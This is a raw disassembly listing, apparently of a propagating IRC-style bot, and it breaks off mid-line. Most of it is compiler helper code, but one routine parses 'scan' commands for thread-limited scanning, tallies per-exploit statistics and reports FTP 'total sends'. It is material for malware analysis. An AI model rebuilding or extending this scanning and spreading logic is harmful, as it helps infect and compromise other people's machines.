arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422010 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_4019FBj mov eax, ecx retn sub_422030 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401523 mov eax, esi pop esi retn 4 sub_422050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422080 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_422080 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220B0 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018F7 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_4220B0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013E8 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D89 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4221AA loc_422168: ; CODE XREF: sub_422150+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019BA mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B90 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422168 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4221AA: ; CODE XREF: sub_422150+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422150 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4221E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020DB sub_4221E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4221F5 mov edi, esi loc_4221F5: ; CODE XREF: ___:004221F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42220A mov edi, esi loc_42220A: ; CODE XREF: ___:00422206j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422230 proc near ; CODE XREF: sub_4021DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018F2 sub_422230 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422250 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422270 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422270 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422290 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422290 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222B0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018FC mov eax, esi pop esi retn 4 sub_4222B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222E0 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4222E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422310 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A3C add esp, 8 retn 8 sub_422310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422340 proc near ; CODE XREF: sub_401A2Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020D6 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40206D push esi mov ebx, eax call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [ebx] push esi mov [eax], edx call sub_401D07 push esi mov ebx, eax call sub_40206D mov eax, [eax] push eax call sub_401D07 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_40163B push esi mov ecx, edi call sub_401956 sub_422340 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422400 proc near ; CODE XREF: sub_401D07j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422400 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422420 proc near ; CODE XREF: sub_401E0Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_422420 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422450 proc near ; CODE XREF: sub_401550j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422450 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422470 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40203B add esp, 8 retn 8 sub_422470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224A0 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4224A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4224C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224E0 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4224E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422510 proc near ; CODE XREF: sub_401B90j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019BA mov ecx, eax call sub_4018F7 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E7E push esi mov ecx, edi call sub_4021DA sub_422510 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4225D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4225F0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_4225F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422620 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422620 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422640 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EF1 add esp, 8 retn 8 sub_422640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422670 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422690 proc near ; CODE XREF: sub_4018F7j mov eax, [ecx] retn sub_422690 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226B0 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401839 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4226B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A8C pop ecx retn 4 sub_4226E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422700 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FB9 pop ecx retn 4 sub_422700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422720 proc near ; CODE XREF: sub_401A3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42273B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42273B: ; CODE XREF: sub_422720+11j retn sub_422720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_40203Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422750 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422791 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401681 loc_422791: ; CODE XREF: sub_422750+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422750 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227E0 proc near ; CODE XREF: sub_401EF1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4227E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422821 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014D3 loc_422821: ; CODE XREF: sub_4227E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4227E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422850 proc near ; CODE XREF: sub_401A8Cj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019C9 retn sub_422850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422870 proc near ; CODE XREF: sub_401FB9j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422870 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422890 proc near ; CODE XREF: sub_401681j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014D3 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422890 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_4019C9j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A82 test [esp+4+arg_0], 1 jz short loc_4228D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4228D8: ; CODE XREF: sub_4228C0+Dj mov eax, esi pop esi retn 4 sub_4228C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4228F0 proc near ; CODE XREF: sub_401AF5j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4228F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D7F9B, offset aAsn ; "asn" call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4228F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8D0C0h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422B40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422C0A push 3 call sub_40148D add esp, 4 test eax, eax jle short loc_422BDD push 3 call sub_401DA2 mov eax, dword_50DB60[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422BDD: ; CODE XREF: sub_422B40+52j lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422C0A: ; CODE XREF: sub_422B40+40j lea ecx, [ebp+8D0C0h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422CB0 mov edi, dword_4D8380 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4232BD mov edx, dword_44965F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 1Ch mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422CB0: ; CODE XREF: sub_422B40+DFj lea ecx, [ebp+8D064h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422D30 push eax push 3 call sub_401DA7 add esp, 8 test eax, eax jle short loc_422D05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D05: ; CODE XREF: sub_422B40+194j lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D30: ; CODE XREF: sub_422B40+185j lea ecx, [ebp+8D036h] call sub_4014DD push eax mov ecx, edi call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_422DDE push 3 call sub_40148D add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_444600 ; " " push 2 push eax call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017EE push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422F56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h loc_422DDE: ; CODE XREF: sub_422B40+20Bj lea ecx, [ebp+8D092h] call sub_4014DD push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422F39 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_445428 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422E69 mov eax, offset dword_445428 loc_422E55: ; CODE XREF: sub_422B40+327j cmp [eax+8], edi jb short loc_422E5F mov [esp+7A0h+var_78D], 1 loc_422E5F: ; CODE XREF: sub_422B40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422E55 loc_422E69: ; CODE XREF: sub_422B40+30Ej mov ebp, off_511C00 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5F74D1 mov eax, dword_445428 add esp, 8 test eax, eax jz short loc_422ECF mov edi, offset dword_445430 loc_422E8F: ; CODE XREF: sub_422B40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5F74D1 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx call near ptr 77C47920h nop mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422E8F loc_422ECF: ; CODE XREF: sub_422B40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5F74D1 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422F29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014DD push eax push 0 call sub_40152D add esp, 10h loc_422F29: ; CODE XREF: sub_422B40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422F39: ; CODE XREF: sub_422B40+1C0j ; sub_422B40+1EBj ... xor al, al loc_422F3B: ; CODE XREF: sub_422B40+98j ; sub_422B40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422F56: ; CODE XREF: sub_422B40+26Ej push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017EE push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_423033 mov [esp+7A0h+var_658], ebp jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423033: ; CODE XREF: sub_422B40+4E8j cmp eax, 3Ch jbe short loc_423043 mov [esp+7A0h+var_658], 3Ch loc_423043: ; CODE XREF: sub_422B40+4F1j ; sub_422B40+4F6j push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_42309C mov [esp+7A0h+var_654], eax loc_42309C: ; CODE XREF: sub_422B40+553j mov eax, dword_445428 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42316C mov ebp, offset dword_445428 jmp short loc_4230C2 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_422B40+602j or ebx, 0FFFFFFFFh loc_4230C2: ; CODE XREF: sub_422B40+57Dj push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017EE mov edi, eax lea ecx, [ebp-28h] loc_4230EC: ; CODE XREF: sub_422B40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423110 test al, al jz short loc_42310C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423110 add ecx, 2 add edi, 2 test al, al jnz short loc_4230EC loc_42310C: ; CODE XREF: sub_422B40+5B6j xor eax, eax jmp short loc_423114 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_422B40+5B2j ; sub_422B40+5C0j sbb eax, eax sbb eax, ebx loc_423114: ; CODE XREF: sub_422B40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42314A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_4230BF jmp short 